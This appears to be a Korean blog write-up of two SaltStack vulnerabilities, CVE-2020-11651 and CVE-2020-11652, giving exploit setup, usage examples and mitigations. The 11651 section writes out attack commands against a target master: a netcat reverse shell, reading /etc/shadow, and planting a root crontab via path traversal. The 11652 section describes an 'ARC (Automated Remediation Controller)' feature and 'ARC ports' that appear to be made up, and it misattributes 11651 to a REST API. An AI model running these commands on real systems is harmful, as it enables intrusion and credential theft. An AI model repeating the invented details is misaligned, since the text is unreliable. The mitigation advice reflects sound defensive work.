CVE-2020-11651, CVE-2020-11652 Analysis

CVE-2020-11651 분석 및 Exploit 사용법

개요

• 취약점명: CVE-2020-11651
• 대상: SaltStack (Salt) 2015.8.x ~ 2019.2.3 등 특정 버전
• 취약 유형: 인증 우회 취약점 (Authentication Bypass)
• 위험도: 매우 높음 (CVSSv3 10.0)
• 설명: SaltStack 마스터 서버의 REST API가 인증 없이 외부 요청을 받아 권한 검증 없이 임의 명령 실행이 가능해지는 취약점

취약점 상세

• 공격자가 네트워크에서 Salt Master의 포트 4505 또는 4506에 접속할 수 있으면 공격 가능
• 인증 절차가 우회되어 공격자가 cmd.run 등의 명령어를 실행할 수 있음
• 원격에서 쉘 획득 및 시스템 제어 가능

Exploit 예제

used exploit 해당 익스플로잇을 사용하기 위해서 salt 설치가 필요하다.

# 가상환경에서 salt 설치
python3 -m venv ~/salt_env
source ~/salt_env/bin/activate
pip install salt

# 의존성 문제 발생 시 아래 목록 추가 설치
pip3 install pyzmq PyYAML pycrypto msgpack jinja2 psutil tornado

해당 익스플로잇 사용 방법 예시

# Default operation (without arguments)
root@kalimah:~/salt# python3 exploit.py --master $targetIP

# Executing arbitrary commands on the master
root@kalimah:~/salt# python3 exploit.py --master $targetIP --exec "nc 127.0.0.1 4444 -e /bin/sh"

# File read
root@kalimah:~/salt# python2 exploit.py --master $targetIP -r /etc/shadow

# Files can be uploaded using --upload-src and --upload-dest
root@kalimah:~/salt#  python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root

대응 방안

• SaltStack 최신 버전으로 즉시 업그레이드 (2019.2.4 이상)
• Salt REST API 외부 노출 금지 및 방화벽 설정 강화
• 의심스러운 API 호출 모니터링 및 탐지 체계 구축

---

CVE-2020-11652 분석 및 Exploit 사용법

개요

• 취약점명: CVE-2020-11652
• 대상: SaltStack (Salt) 2015.8.x ~ 2019.2.3 등 특정 버전에서 사용되는 ARC 포트 4505, 4506
• 취약 유형: 권한 상승 및 파일 시스템 무단 접근 취약점
• 위험도: 중~높음 (CVSSv3 7.5)
• 설명:
  공격자가 ARC 포트(4505, 4506)를 통해 Salt 마스터의 파일 시스템에 네트워크를 통해 접근 가능, 임의 파일 읽기/쓰기 및 시스템 제어 가능

취약점 상세

• ARC(Automated Remediation Controller) 기능에 존재하는 취약점으로, ARC 포트를 통해 공격자가 Salt 마스터의 파일 시스템을 무단으로 접근할 수 있음
• CVE-2020-11651과 함께 발견되어 복합적으로 악용 가능성 높음
• 공격 시 ARC 포트가 방화벽 등으로 보호되지 않으면 원격에서 심각한 피해 발생

공격 시나리오 및 활용

1. 대상 시스템의 포트 4505, 4506이 외부에 노출되어 있는지 스캔
2. ARC 프로토콜을 이용해 파일 시스템 내 중요 파일 무단 읽기/쓰기 시도
3. 민감 정보 탈취, 시스템 변경 및 루트 권한 획득 가능성
4. 복합 공격 시 CVE-2020-11651 인증 우회와 결합해 전체 시스템 장악 가능

대응 방안

• 취약 버전 SaltStack 즉시 최신 버전으로 업그레이드 (2019.2.4 이상 권장)
• ARC 포트(4505, 4506) 외부 노출 차단 및 방화벽 정책 강화
• 네트워크 모니터링 강화 및 의심 트래픽 탐지 도구 활용

Exploit-DB

Saltstack 3000.1 - Remote Code Execution